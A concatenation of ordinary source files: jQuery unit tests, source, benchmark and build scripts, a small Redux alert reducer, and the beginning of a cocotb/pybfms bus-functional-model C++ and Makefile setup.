ok( true, "This first function was dequeued" );
next();
})
.delay( 1000, "alternate" )
.queue( "alternate", function() {
run++;
ok( true, "The function was dequeued immediately, the delay was stopped" );
})
.dequeue( "alternate" )
// stop( "alternate", false ) will NOT clear the queue, so it should automatically dequeue the next
.stop( "alternate", false, false )
// this test
.delay( 1000 )
.queue(function() {
run++;
ok( false, "This queue should never run" );
})
// stop( clearQueue ) should clear the queue
.stop( true, false );
equal( run, 2, "Queue ran the proper functions" );
setTimeout( start, 2000 );
});
test("clearQueue(name) clears the queue", function() {
expect(2);
stop()
var div = jQuery({});
var counter = 0;
div.queue("foo", function(next) {
counter++;
jQuery(this).clearQueue("foo");
next();
}).queue("foo", function(next) {
counter++;
});
div.promise("foo").done(function() {
ok( true, "dequeue resolves the deferred" );
start();
});
div.dequeue("foo");
equal(counter, 1, "the queue was cleared");
});
test("clearQueue() clears the fx queue", function() {
expect(1);
var div = jQuery({});
var counter = 0;
div.queue(function(next) {
counter++;
var self = this;
setTimeout(function() { jQuery(self).clearQueue(); next(); }, 50);
}).queue(function(next) {
counter++;
});
equal(counter, 1, "the queue was cleared");
div.removeData();
});
test("_mark() and _unmark()", function() {
expect(1);
var div = {},
$div = jQuery( div );
stop();
jQuery._mark( div, "foo" );
jQuery._mark( div, "foo" );
jQuery._unmark( div, "foo" );
jQuery._unmark( div, "foo" );
$div.promise( "foo" ).done(function() {
ok( true, "No more marks" );
start();
});
});
test("_mark() and _unmark() default to 'fx'", function() {
expect(1);
var div = {},
$div = jQuery( div );
stop();
jQuery._mark( div );
jQuery._mark( div );
jQuery._unmark( div, "fx" );
jQuery._unmark( div );
$div.promise().done(function() {
ok( true, "No more marks" );
start();
});
});
test("promise()", function() {
expect(1);
stop();
var objects = [];
jQuery.each( [{}, {}], function( i, div ) {
var $div = jQuery( div );
$div.queue(function( next ) {
setTimeout( function() {
if ( i ) {
next();
setTimeout( function() {
jQuery._unmark( div );
}, 20 );
} else {
jQuery._unmark( div );
setTimeout( function() {
next();
}, 20 );
}
}, 50 );
}).queue(function( next ) {
next();
});
jQuery._mark( div );
objects.push( $div );
});
jQuery.when.apply( jQuery, objects ).done(function() {
ok( true, "Deferred resolved" );
start();
});
jQuery.each( objects, function() {
this.dequeue();
});
});
test(".promise(obj)", function() {
expect(2);
var obj = {};
var promise = jQuery( "#foo" ).promise( "promise", obj );
ok( jQuery.isFunction( promise.promise ), ".promise(type, obj) returns a promise" );
strictEqual( promise, obj, ".promise(type, obj) returns obj" );
});
<|start_filename|>public/lightgallery/jquery/src/dimensions.js<|end_filename|>
(function( jQuery ) {
// Create width, height, innerHeight, innerWidth, outerHeight and outerWidth methods
jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
var clientProp = "client" + name,
scrollProp = "scroll" + name,
offsetProp = "offset" + name;
// innerHeight and innerWidth
jQuery.fn[ "inner" + name ] = function() {
var elem = this[0];
return elem ?
elem.style ?
parseFloat( jQuery.css( elem, type, "padding" ) ) :
this[ type ]() :
null;
};
// outerHeight and outerWidth
jQuery.fn[ "outer" + name ] = function( margin ) {
var elem = this[0];
return elem ?
elem.style ?
parseFloat( jQuery.css( elem, type, margin ? "margin" : "border" ) ) :
this[ type ]() :
null;
};
jQuery.fn[ type ] = function( value ) {
return jQuery.access( this, function( elem, type, value ) {
var doc, docElemProp, orig, ret;
if ( jQuery.isWindow( elem ) ) {
// 3rd condition allows Nokia support, as it supports the docElem prop but not CSS1Compat
doc = elem.document;
docElemProp = doc.documentElement[ clientProp ];
return jQuery.support.boxModel && docElemProp ||
doc.body && doc.body[ clientProp ] || docElemProp;
}
// Get document width or height
if ( elem.nodeType === 9 ) {
// Either scroll[Width/Height] or offset[Width/Height], whichever is greater
doc = elem.documentElement;
// when a window > document, IE6 reports a offset[Width/Height] > client[Width/Height]
// so we can't use max, as it'll choose the incorrect offset[Width/Height]
// instead we use the correct client[Width/Height]
// support:IE6
if ( doc[ clientProp ] >= doc[ scrollProp ] ) {
return doc[ clientProp ];
}
return Math.max(
elem.body[ scrollProp ], doc[ scrollProp ],
elem.body[ offsetProp ], doc[ offsetProp ]
);
}
// Get width or height on the element
if ( value === undefined ) {
orig = jQuery.css( elem, type );
ret = parseFloat( orig );
return jQuery.isNumeric( ret ) ? ret : orig;
}
// Set the width or height on the element
jQuery( elem ).css( type, value );
}, type, value, arguments.length, null );
};
});
})( jQuery );
<|start_filename|>public/lightgallery/jquery/test/unit/dimensions.js<|end_filename|>
module("dimensions", { teardown: moduleTeardown });
function pass( val ) {
return val;
}
function fn( val ) {
return function(){ return val; };
}
function testWidth( val ) {
expect(8);
var $div = jQuery("#nothiddendiv");
$div.width( val(30) );
equal($div.width(), 30, "Test set to 30 correctly");
$div.hide();
equal($div.width(), 30, "Test hidden div");
$div.show();
$div.width( val(-1) ); // handle negative numbers by ignoring #1599
equal($div.width(), 30, "Test negative width ignored");
$div.css("padding", "20px");
equal($div.width(), 30, "Test padding specified with pixels");
$div.css("border", "2px solid #fff");
equal($div.width(), 30, "Test border specified with pixels");
$div.css({ display: "", border: "", padding: "" });
jQuery("#nothiddendivchild").css({ width: 20, padding: "3px", border: "2px solid #fff" });
equal(jQuery("#nothiddendivchild").width(), 20, "Test child width with border and padding");
jQuery("#nothiddendiv, #nothiddendivchild").css({ border: "", padding: "", width: "" });
var blah = jQuery("blah");
equal( blah.width( val(10) ), blah, "Make sure that setting a width on an empty set returns the set." );
equal( blah.width(), null, "Make sure 'null' is returned on an empty set");
jQuery.removeData($div[0], "olddisplay", true);
}
test("width()", function() {
testWidth( pass );
});
test("width(undefined)", function() {
expect(1);
equal(jQuery("#nothiddendiv").width(30).width(undefined).width(), 30, ".width(undefined) is chainable (#5571)");
});
test("width(Function)", function() {
testWidth( fn );
});
test("width(Function(args))", function() {
expect( 2 );
var $div = jQuery("#nothiddendiv");
$div.width( 30 ).width(function(i, width) {
equal( width, 30, "Make sure previous value is corrrect." );
return width + 1;
});
equal( $div.width(), 31, "Make sure value was modified correctly." );
});
function testHeight( val ) {
expect(8);
var $div = jQuery("#nothiddendiv");
$div.height( val(30) );
equal($div.height(), 30, "Test set to 30 correctly");
$div.hide();
equal($div.height(), 30, "Test hidden div");
$div.show();
$div.height( val(-1) ); // handle negative numbers by ignoring #1599
equal($div.height(), 30, "Test negative height ignored");
$div.css("padding", "20px");
equal($div.height(), 30, "Test padding specified with pixels");
$div.css("border", "2px solid #fff");
equal($div.height(), 30, "Test border specified with pixels");
$div.css({ display: "", border: "", padding: "", height: "1px" });
jQuery("#nothiddendivchild").css({ height: 20, padding: "3px", border: "2px solid #fff" });
equal(jQuery("#nothiddendivchild").height(), 20, "Test child height with border and padding");
jQuery("#nothiddendiv, #nothiddendivchild").css({ border: "", padding: "", height: "" });
var blah = jQuery("blah");
equal( blah.height( val(10) ), blah, "Make sure that setting a height on an empty set returns the set." );
equal( blah.height(), null, "Make sure 'null' is returned on an empty set");
jQuery.removeData($div[0], "olddisplay", true);
}
test("height()", function() {
testHeight( pass );
});
test("height(undefined)", function() {
expect(1);
equal(jQuery("#nothiddendiv").height(30).height(undefined).height(), 30, ".height(undefined) is chainable (#5571)");
});
test("height(Function)", function() {
testHeight( fn );
});
test("height(Function(args))", function() {
expect( 2 );
var $div = jQuery("#nothiddendiv");
$div.height( 30 ).height(function(i, height) {
equal( height, 30, "Make sure previous value is corrrect." );
return height + 1;
});
equal( $div.height(), 31, "Make sure value was modified correctly." );
});
test("innerWidth()", function() {
expect(8);
var winWidth = jQuery( window ).width(),
docWidth = jQuery( document ).width();
equal(jQuery(window).innerWidth(), winWidth, "Test on window without margin option");
equal(jQuery(window).innerWidth(true), winWidth, "Test on window with margin option");
equal(jQuery(document).innerWidth(), docWidth, "Test on document without margin option");
equal(jQuery(document).innerWidth(true), docWidth, "Test on document with margin option");
var $div = jQuery("#nothiddendiv");
// set styles
$div.css({
margin: 10,
border: "2px solid #fff",
width: 30
});
equal($div.innerWidth(), 30, "Test with margin and border");
$div.css("padding", "20px");
equal($div.innerWidth(), 70, "Test with margin, border and padding");
$div.hide();
equal($div.innerWidth(), 70, "Test hidden div");
// reset styles
$div.css({ display: "", border: "", padding: "", width: "", height: "" });
var div = jQuery( "<div>" );
// Temporarily require 0 for backwards compat - should be auto
equal( div.innerWidth(), 0, "Make sure that disconnected nodes are handled." );
div.remove();
jQuery.removeData($div[0], "olddisplay", true);
});
test("innerHeight()", function() {
expect(8);
var winHeight = jQuery( window ).height(),
docHeight = jQuery( document ).height();
equal(jQuery(window).innerHeight(), winHeight, "Test on window without margin option");
equal(jQuery(window).innerHeight(true), winHeight, "Test on window with margin option");
equal(jQuery(document).innerHeight(), docHeight, "Test on document without margin option");
equal(jQuery(document).innerHeight(true), docHeight, "Test on document with margin option");
var $div = jQuery("#nothiddendiv");
// set styles
$div.css({
margin: 10,
border: "2px solid #fff",
height: 30
});
equal($div.innerHeight(), 30, "Test with margin and border");
$div.css("padding", "20px");
equal($div.innerHeight(), 70, "Test with margin, border and padding");
$div.hide();
equal($div.innerHeight(), 70, "Test hidden div");
// reset styles
$div.css({ display: "", border: "", padding: "", width: "", height: "" });
var div = jQuery( "<div>" );
// Temporarily require 0 for backwards compat - should be auto
equal( div.innerHeight(), 0, "Make sure that disconnected nodes are handled." );
div.remove();
jQuery.removeData($div[0], "olddisplay", true);
});
test("outerWidth()", function() {
expect(11);
var winWidth = jQuery( window ).width(),
docWidth = jQuery( document ).width();
equal( jQuery( window ).outerWidth(), winWidth, "Test on window without margin option" );
equal( jQuery( window ).outerWidth( true ), winWidth, "Test on window with margin option" );
equal( jQuery( document ).outerWidth(), docWidth, "Test on document without margin option" );
equal( jQuery( document ).outerWidth( true ), docWidth, "Test on document with margin option" );
var $div = jQuery("#nothiddendiv");
$div.css("width", 30);
equal($div.outerWidth(), 30, "Test with only width set");
$div.css("padding", "20px");
equal($div.outerWidth(), 70, "Test with padding");
$div.css("border", "2px solid #fff");
equal($div.outerWidth(), 74, "Test with padding and border");
$div.css("margin", "10px");
equal($div.outerWidth(), 74, "Test with padding, border and margin without margin option");
$div.css("position", "absolute");
equal($div.outerWidth(true), 94, "Test with padding, border and margin with margin option");
$div.hide();
equal($div.outerWidth(true), 94, "Test hidden div with padding, border and margin with margin option");
// reset styles
$div.css({ position: "", display: "", border: "", padding: "", width: "", height: "" });
var div = jQuery( "<div>" );
// Temporarily require 0 for backwards compat - should be auto
equal( div.outerWidth(), 0, "Make sure that disconnected nodes are handled." );
div.remove();
jQuery.removeData($div[0], "olddisplay", true);
});
test("child of a hidden elem has accurate inner/outer/Width()/Height() see #9441 #9300", function() {
expect(8);
// setup html
var $divNormal = jQuery("<div>").css({ width: "100px", height: "100px", border: "10px solid white", padding: "2px", margin: "3px" }),
$divChild = $divNormal.clone(),
$divHiddenParent = jQuery("<div>").css( "display", "none" ).append( $divChild ).appendTo("body");
$divNormal.appendTo("body");
// tests that child div of a hidden div works the same as a normal div
equal( $divChild.width(), $divNormal.width(), "child of a hidden element width() is wrong see #9441" );
equal( $divChild.innerWidth(), $divNormal.innerWidth(), "child of a hidden element innerWidth() is wrong see #9441" );
equal( $divChild.outerWidth(), $divNormal.outerWidth(), "child of a hidden element outerWidth() is wrong see #9441" );
equal( $divChild.outerWidth(true), $divNormal.outerWidth( true ), "child of a hidden element outerWidth( true ) is wrong see #9300" );
equal( $divChild.height(), $divNormal.height(), "child of a hidden element height() is wrong see #9441" );
equal( $divChild.innerHeight(), $divNormal.innerHeight(), "child of a hidden element innerHeight() is wrong see #9441" );
equal( $divChild.outerHeight(), $divNormal.outerHeight(), "child of a hidden element outerHeight() is wrong see #9441" );
equal( $divChild.outerHeight(true), $divNormal.outerHeight( true ), "child of a hidden element outerHeight( true ) is wrong see #9300" );
// teardown html
$divHiddenParent.remove();
$divNormal.remove();
});
test("getting dimensions shouldnt modify runtimeStyle see #9233", function() {
expect( 1 );
var $div = jQuery( "<div>" ).appendTo( "#qunit-fixture" ),
div = $div.get( 0 ),
runtimeStyle = div.runtimeStyle;
if ( runtimeStyle ) {
div.runtimeStyle.marginLeft = "12em";
div.runtimeStyle.left = "11em";
}
$div.outerWidth( true );
if ( runtimeStyle ) {
equal( div.runtimeStyle.left, "11em", "getting dimensions modifies runtimeStyle, see #9233" );
} else {
ok( true, "this browser doesnt support runtimeStyle, see #9233" );
}
$div.remove();
});
test("outerHeight()", function() {
expect(11);
var winHeight = jQuery( window ).height(),
docHeight = jQuery( document ).height();
equal( jQuery( window ).outerHeight(), winHeight, "Test on window without margin option" );
equal( jQuery( window ).outerHeight( true ), winHeight, "Test on window with margin option" );
equal( jQuery( document ).outerHeight(), docHeight, "Test on document without margin option" );
equal( jQuery( document ).outerHeight( true ), docHeight, "Test on document with margin option" );
var $div = jQuery("#nothiddendiv");
$div.css("height", 30);
equal($div.outerHeight(), 30, "Test with only width set");
$div.css("padding", "20px");
equal($div.outerHeight(), 70, "Test with padding");
$div.css("border", "2px solid #fff");
equal($div.outerHeight(), 74, "Test with padding and border");
$div.css("margin", "10px");
equal($div.outerHeight(), 74, "Test with padding, border and margin without margin option");
equal($div.outerHeight(true), 94, "Test with padding, border and margin with margin option");
$div.hide();
equal($div.outerHeight(true), 94, "Test hidden div with padding, border and margin with margin option");
// reset styles
$div.css({ display: "", border: "", padding: "", width: "", height: "" });
var div = jQuery( "<div>" );
// Temporarily require 0 for backwards compat - should be auto
equal( div.outerHeight(), 0, "Make sure that disconnected nodes are handled." );
div.remove();
jQuery.removeData($div[0], "olddisplay", true);
});
testIframe("dimensions/documentSmall", "window vs. small document", function( jQuery, window, document ) {
expect(2);
equal( jQuery( document ).height(), jQuery( window ).height(), "document height matches window height");
equal( jQuery( document ).width(), jQuery( window ).width(), "document width matches window width");
});
testIframe("dimensions/documentLarge", "window vs. large document", function( jQuery, window, document ) {
expect(2);
ok( jQuery( document ).height() > jQuery( window ).height(), "document height is larger than window height");
ok( jQuery( document ).width() > jQuery( window ).width(), "document width is larger than window width");
});
<|start_filename|>public/lightgallery/jquery/speed/benchmark.js<|end_filename|>
// Runs a function many times without the function call overhead
function benchmark(fn, times, name){
fn = fn.toString();
var s = fn.indexOf('{')+1,
e = fn.lastIndexOf('}');
fn = fn.substring(s,e);
return benchmarkString(fn, times, name);
}
function benchmarkString(fn, times, name) {
var fn = new Function("i", "var t=new Date; while(i--) {" + fn + "}; return new Date - t")(times)
fn.displayName = name || "benchmarked";
return fn;
}
<|start_filename|>public/lightgallery/jquery/build/freq.js<|end_filename|>
#! /usr/bin/env node
var fs = require( "fs" );
function isEmptyObject( obj ) {
for ( var name in obj ) {
return false;
}
return true;
}
function extend( obj ) {
var dest = obj,
src = [].slice.call( arguments, 1 );
Object.keys( src ).forEach(function( key ) {
var copy = src[ key ];
for ( var prop in copy ) {
dest[ prop ] = copy[ prop ];
}
});
return dest;
};
function charSort( obj, callback ) {
var ordered = [],
table = {},
copied;
copied = extend({}, obj );
(function order() {
var largest = 0,
c;
for ( var i in obj ) {
if ( obj[ i ] >= largest ) {
largest = obj[ i ];
c = i;
}
}
ordered.push( c );
delete obj[ c ];
if ( !isEmptyObject( obj ) ) {
order();
} else {
ordered.forEach(function( val ) {
table[ val ] = copied[ val ];
});
callback( table );
}
})();
}
function charFrequency( src, callback ) {
var obj = {};
src.replace(/[^\w]|\d/gi, "").split("").forEach(function( c ) {
obj[ c ] ? ++obj[ c ] : ( obj[ c ] = 1 );
});
return charSort( obj, callback );
}
charFrequency( fs.readFileSync( "dist/jquery.min.js", "utf8" ), function( obj ) {
var chr;
for ( chr in obj ) {
console.log( " " + chr + " " + obj[ chr ] );
}
});
<|start_filename|>public/lightgallery/jquery/speed/benchmarker.js<|end_filename|>
jQuery.benchmarker.tests = [
// Selectors from:
// http://ejohn.org/blog/selectors-that-people-actually-use/
/*
// For Amazon.com
"#navAmazonLogo", "#navSwmSkedPop",
".navbar", ".navGreeting",
"div", "table",
"img.navCrossshopTabCap", "span.navGreeting",
"#navbar table", "#navidWelcomeMsg span",
"div#navbar", "ul#navAmazonLogo",
"#navAmazonLogo .navAmazonLogoGatewayPanel", "#navidWelcomeMsg .navGreeting",
".navbar .navAmazonLogoGatewayPanel", ".navbar .navGreeting",
"*",
"#navAmazonLogo li.navAmazonLogoGatewayPanel", "#navidWelcomeMsg span.navGreeting",
"a[name=top]", "form[name=site-search]",
".navbar li", ".navbar span",
"[name=top]", "[name=site-search]",
"ul li", "a img",
"#navbar #navidWelcomeMsg", "#navbar #navSwmDWPop",
"#navbar ul li", "#navbar a img"
*/
// For Yahoo.com
"#page", "#masthead", "#mastheadhd",
".mastheadbd", ".first", ".on",
"div", "li", "a",
"div.mastheadbd", "li.first", "li.on",
"#page div", "#dtba span",
"div#page", "div#masthead",
"#page .mastheadbd", "#page .first",
".outer_search_container .search_container", ".searchbox_container .inputtext",
"*",
"#page div.mastheadbd", "#page li.first",
"input[name=p]", "a[name=marketplace]",
".outer_search_container div", ".searchbox_container span",
"[name=p]", "[name=marketplace]",
"ul li", "form input",
"#page #e2econtent", "#page #e2e"
];
jQuery.fn.benchmark = function() {
this.each(function() {
try {
jQuery(this).parent().children("*:gt(1)").remove();
} catch(e) { }
})
// set # times to run the test in index.html
var times = parseInt(jQuery("#times").val());
jQuery.benchmarker.startingList = this.get();
benchmark(this.get(), times, jQuery.benchmarker.libraries);
}
jQuery(function() {
for(i = 0; i < jQuery.benchmarker.tests.length; i++) {
jQuery("tbody").append("<tr><td class='test'>" + jQuery.benchmarker.tests[i] + "</td></tr>");
}
jQuery("tbody tr:first-child").remove();
jQuery("td.test").before("<td><input type='checkbox' checked='checked' /></td>");
jQuery("button.runTests").bind("click", function() {
jQuery('td:has(input:checked) + td.test').benchmark();
});
jQuery("button.retryTies").bind("click", function() { jQuery("tr:has(td.tie) td.test").benchmark() })
jQuery("button.selectAll").bind("click", function() { jQuery("input[type=checkbox]").each(function() { this.checked = true }) })
jQuery("button.deselectAll").bind("click", function() { jQuery("input[type=checkbox]").each(function() { this.checked = false }) })
jQuery("#addTest").bind("click", function() {
jQuery("table").append("<tr><td><input type='checkbox' /></td><td><input type='text' /><button>Add</button></td></tr>");
jQuery("div#time-test > button").each(function() { this.disabled = true; })
jQuery("tbody tr:last button").bind("click", function() {
var td = jQuery(this).parent();
td.html("<button>-</button>" + jQuery(this).prev().val()).addClass("test");
jQuery("div#time-test > button").each(function() { this.disabled = false; })
jQuery("button", td).bind("click", function() { jQuery(this).parents("tr").remove(); })
})
})
var headers = jQuery.map(jQuery.benchmarker.libraries, function(i,n) {
var extra = n == 0 ? "basis - " : "";
return "<th>" + extra + i + "</th>"
}).join("");
jQuery("thead tr").append(headers);
var footers = "";
for(i = 0; i < jQuery.benchmarker.libraries.length; i++)
footers += "<th></th>"
var wlfooters = "";
for(i = 0; i < jQuery.benchmarker.libraries.length; i++)
wlfooters += "<td><span class='wins'>W</span> / <span class='fails'>F</span></th>"
jQuery("tfoot tr:first").append(footers);
jQuery("tfoot tr:last").append(wlfooters);
});
benchmark = function(list, times, libraries) {
if(list[0]) {
var times = times || 50;
var el = list[0];
var code = jQuery(el).text().replace(/^-/, "");
var timeArr = []
for(i = 0; i < times + 2; i++) {
var time = new Date()
try {
window[libraries[0]](code);
} catch(e) { }
timeArr.push(new Date() - time);
}
var diff = Math.sum(timeArr) - Math.max.apply( Math, timeArr )
- Math.min.apply( Math, timeArr );
try {
var libRes = window[libraries[0]](code);
var jqRes = jQuery(code);
if(((jqRes.length == 0) && (libRes.length != 0)) ||
(libRes.length > 0 && (jqRes.length == libRes.length)) ||
((libraries[0] == "cssQuery" || libraries[0] == "jQuery") && code.match(/nth\-child/) && (libRes.length > 0)) ||
((libraries[0] == "jQold") && jqRes.length > 0)) {
jQuery(el).parent().append("<td>" + Math.round(diff / times * 100) / 100 + "ms</td>");
} else {
jQuery(el).parent().append("<td class='fail'>FAIL</td>");
}
} catch(e) {
jQuery(el).parent().append("<td class='fail'>FAIL</td>");
}
setTimeout(benchmarkList(list, times, libraries), 100);
} else if(libraries[1]) {
benchmark(jQuery.benchmarker.startingList, times, libraries.slice(1));
} else {
jQuery("tbody tr").each(function() {
var winners = jQuery("td:gt(1)", this).min(2);
if(winners.length == 1) winners.addClass("winner");
else winners.addClass("tie");
});
setTimeout(count, 100);
}
}
function benchmarkList(list, times, libraries) {
return function() {
benchmark(list.slice(1), times, libraries);
}
}
function count() {
for(i = 3; i <= jQuery.benchmarker.libraries.length + 2 ; i++) {
var fails = jQuery("td:nth-child(" + i + ").fail").length;
var wins = jQuery("td:nth-child(" + i + ").winner").length;
jQuery("tfoot tr:first th:eq(" + (i - 1) + ")")
.html("<span class='wins'>" + wins + "</span> / <span class='fails'>" + fails + "</span>");
}
}
jQuery.fn.maxmin = function(tolerance, maxmin, percentage) {
tolerance = tolerance || 0;
var target = Math[maxmin].apply(Math, jQuery.map(this, function(i) {
var parsedNum = parseFloat(i.innerHTML.replace(/[^\.\d]/g, ""));
if(parsedNum || (parsedNum == 0)) return parsedNum;
}));
return this.filter(function() {
if( withinTolerance(parseFloat(this.innerHTML.replace(/[^\.\d]/g, "")), target, tolerance, percentage) ) return true;
})
}
jQuery.fn.max = function(tolerance, percentage) { return this.maxmin(tolerance, "max", percentage) }
jQuery.fn.min = function(tolerance, percentage) { return this.maxmin(tolerance, "min", percentage) }
function withinTolerance(number, target, tolerance, percentage) {
if(percentage) { var high = target + ((tolerance / 100) * target); var low = target - ((tolerance / 100) * target); }
else { var high = target + tolerance; var low = target - tolerance; }
if(number >= low && number <= high) return true;
}
Math.sum = function(arr) {
var sum = 0;
for(i = 0; i < arr.length; i++) sum += arr[i];
return sum;
}
<|start_filename|>public/lightgallery/jquery/build/post-compile.js<|end_filename|>
#!/usr/bin/env node
var fs = require( "fs" ),
src = fs.readFileSync( process.argv[2], "utf8" ),
version = fs.readFileSync( "version.txt", "utf8" ),
// License Template
license = "/*! jQuery v@VERSION jquery.com | jquery.org/license */";
// Previously done in sed but reimplemented here due to portability issues
src = src.replace( /^(\s*\*\/)(.+)/m, "$1\n$2" ) + ";";
// Set minimal license block var
license = license.replace( "@VERSION", version );
// Replace license block with minimal license
src = src.replace( /\/\/.*?\/?\*.+?(?=\n|\r|$)|\/\*[\s\S]*?\/\/[\s\S]*?\*\//, license );
fs.writeFileSync( "dist/jquery.min.js", src, "utf8" );
<|start_filename|>public/lightgallery/jquery/speed/benchmarker.css<|end_filename|>
.dialog {
margin-bottom: 1em;
}
a.expand {
background: #e3e3e3;
}
div#time-test {
font-family: Arial, Helvetica, sans-serif;
font-size: 62.5%;
}
td.test button {
float: right;
}
table {
border: 1px solid #000;
}
table td, table th {
border: 1px solid #000;
padding: 10px;
}
td.winner {
background-color: #cfc;
}
td.tie {
background-color: #ffc;
}
td.fail {
background-color: #f99;
font-weight: bold;
text-align: center;
}
tfoot td {
text-align: center;
}
#time-test {
margin: 1em 0;
padding: .5em;
background: #e3e3e3;
}
#time-taken {
font-weight: bold;
}
span.wins {
color: #330;
}
span.fails {
color: #900;
}
div.buttons {
margin-top: 10px;
margin-bottom: 10px;
}
<|start_filename|>public/lightgallery/jquery/src/intro.js<|end_filename|>
/*!
* jQuery JavaScript Library v@VERSION
* http://jquery.com/
*
* Copyright 2011, <NAME>
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Sizzle.js
* http://sizzlejs.com/
* Copyright 2011, The Dojo Foundation
* Released under the MIT, BSD, and GPL Licenses.
*
* Date: @DATE
*/
(function( window, undefined ) {
// Use the correct document accordingly with window argument (sandbox)
var document = window.document,
navigator = window.navigator,
location = window.location;
<|start_filename|>public/lightgallery/jquery/test/readywait.html<|end_filename|>
<!DOCTYPE html>
<html>
<!--
Test for jQuery.holdReady. Needs to be a
standalone test since it deals with DOM
ready.
-->
<head>
<title>
jQuery.holdReady Test
</title>
<style>
div { margin-top: 10px; }
#output { background-color: green }
#expectedOutput { background-color: green }
</style>
<script src="data/include_js.php"></script>
<!-- Load the script loader that uses
jQuery.readyWait -->
<script src="data/readywaitloader.js"></script>
<script type="text/javascript">
jQuery(function() {
// The delayedMessage is defined by
// the readywaitasset.js file, so the
// next line will only work if this DOM
// ready callback is called after readyWait
// has been decremented by readywaitloader.js
// If an error occurs.
jQuery("#output").append(delayedMessage);
});
</script>
</head>
<body>
<h1>
jQuery.holdReady Test
</h1>
<p>
This is a test page for jQuery.readyWait and jQuery.holdReady,
see
<a href="http://bugs.jquery.com/ticket/6781">#6781</a>
and
<a href="http://bugs.jquery.com/ticket/8803">#8803</a>.
</p>
<p>
Test for jQuery.holdReady, which can be used
by plugins and other scripts to indicate something
important to the page is still loading and needs
to block the DOM ready callbacks that are registered
with jQuery.
</p>
<p>
Script loaders are the most likely kind of script
to use jQuery.holdReady, but it could be used by
other things like a script that loads a CSS file
and wants to pause the DOM ready callbacks.
</p>
<p>
<strong>Expected Result</strong>: The text
<span id="expectedOutput">It Worked!</span>
appears below after about <strong>2 seconds.</strong>
</p>
<p>
If there is an error in the console,
or the text does not show up, then the test failed.
</p>
<div id="output"></div>
</body>
</html>
| thomas159/laravel-shared |
<|start_filename|>actions/index.js<|end_filename|>
export const ACTION_SHOW_ALERT = 'SHOW-ALERT';
export const ACTION_PUT = 'PUT';
export const ACTION_CALL = 'CALL';
<|start_filename|>reducer/alert.js<|end_filename|>
import {ACTION_SHOW_ALERT} from '../actions';
export default function alertReducer(state = {
message: '',
active: false,
}, action) {
switch(action.type) {
case ACTION_SHOW_ALERT: {
const { message } = action.payload;
return {
...state,
message,
active: true,
}
}
default: {
return state;
}
}
}
<|start_filename|>index.js<|end_filename|>
/**
* redux-saga-rn-alert
* @flow
*/
'use strict';
export { watchAlertChannel, alert } from './saga/alert';
export { default as alertReducer } from './reducer/alert';
| jacobkring/redux-saga-rn-alert |
<|start_filename|>ext/common/Bfm.h<|end_filename|>
/******************************************************************************
* Copyright cocotb contributors
* Licensed under the Revised BSD License, see LICENSE for details.
* SPDX-License-Identifier: BSD-3-Clause
******************************************************************************/
#ifndef INCLUDED_BFM_H
#define INCLUDED_BFM_H
#include <stdint.h>
#include <string>
#include <vector>
#include "BfmMsg.h"
typedef void (*bfm_recv_msg_f)(
uint32_t bfm_id,
BfmMsg *msg);
typedef void (*bfm_notify_f)(void *);
class Bfm {
public:
Bfm(
const std::string &inst_name,
const std::string &cls_name,
bfm_notify_f notify_f,
void *notify_data
);
virtual ~Bfm();
static uint32_t add_bfm(Bfm *bfm);
static const std::vector<Bfm *> &get_bfms() { return m_bfm_l; }
const std::string &get_instname() const { return m_instname; }
const std::string &get_clsname() const { return m_clsname; }
void send_msg(BfmMsg *msg);
int claim_msg();
BfmMsg *active_msg() const { return m_active_msg; }
void begin_inbound_msg(uint32_t msg_id);
BfmMsg *active_inbound_msg() const { return m_active_inbound_msg; }
void send_inbound_msg();
static void set_recv_msg_f(bfm_recv_msg_f f);
protected:
private:
/**
* Index (ID) of the BFM. Used in routing messages
* to the appropriate BFM in Python
*/
uint32_t m_bfm_id;
/**
* Instance name of the BFM from simulation
*/
std::string m_instname;
/**
* Python class typename used for this BFM
*/
std::string m_clsname;
/**
* Callback function that the BFM calls when
* an outbound (Python->HDL) message is available
*/
bfm_notify_f m_notify_f;
/**
* User data passed to the notify callback function
*/
void *m_notify_data;
/**
* List of queued output (Python->HDL) messages
*/
std::vector<BfmMsg *> m_msg_queue;
/**
* The HDL tasks used for processing messages
* work on a single message at a time. This is
* the message currently being processed
*/
BfmMsg *m_active_msg;
/**
* The HDL tasks used to build an inbound
* (HDL->Python) build up a message iteratively.
* This is a pointer to the message currently
* being built.
*/
BfmMsg *m_active_inbound_msg;
/**
* Callback function to handle inbound (HDL->Python)
* messages. This function is called by the BFM
* whenever the HDL BFM sends a message
*/
static bfm_recv_msg_f m_recv_msg_f;
/**
* List of BFM class instances.
*/
static std::vector<Bfm *> m_bfm_l;
};
#endif /* INCLUDED_BFM_H */
<|start_filename|>ve/sys/simple_bfm/Makefile<|end_filename|>
SIMPLE_BFM_DIR:=$(abspath $(dir $(lastword $(MAKEFILE_LIST))))
VE_SYS_DIR:=$(abspath $(SIMPLE_BFM_DIR)/..)
PYBFMS_DIR:=$(abspath $(VE_SYS_DIR)/../..)
PYTHONPATH:=$(PYBFMS_DIR)/src:$(SIMPLE_BFM_DIR)/build/lib.linux-x86_64-3.6:$(PYTHONPATH)
#PYTHONPATH:=$(PYBFMS_DIR)/src:$(SIMPLE_BFM_DIR)/build:$(PYTHONPATH)
export PYTHONPATH
# TODO: Icarus Specific
SIM_FLAGS += -m $(shell python3 -m pybfms lib --vpi)
ifeq ($(SIM),verilator)
COMPILE_ARGS += -Wno-fatal
endif
TOPLEVEL_LANG ?= verilog
ifneq ($(TOPLEVEL_LANG),verilog)
all :
@echo "Skipping test due to TOPLEVEL_LANG=$(TOPLEVEL_LANG) not being verilog"
clean::
else
COCOTB:=$(shell cocotb-config --share)
VERILOG_SOURCES = simple_bfm_top.sv pybfms.v
TOPLEVEL=simple_bfm_top
MODULE=simple_bfm_test
all : prereqs
$(MAKE) $(COCOTB_RESULTS_FILE)
prereqs :
python3 $(PYBFMS_DIR)/setup.py build_ext
python3 -m pybfms generate -l vlog -m simple_bfm
clean::
@rm -rf pybfms.*
include $(COCOTB)/makefiles/Makefile.inc
include $(VE_SYS_DIR)/common/cocotb/Makefile.sim
endif
<|start_filename|>ext/common/Bfm.cpp<|end_filename|>
/******************************************************************************
* Copyright cocotb contributors
* Licensed under the Revised BSD License, see LICENSE for details.
* SPDX-License-Identifier: BSD-3-Clause
******************************************************************************/
#include "Bfm.h"
#include <stdio.h>
#define EXTERN_C extern "C"
Bfm::Bfm(
const std::string &inst_name,
const std::string &cls_name,
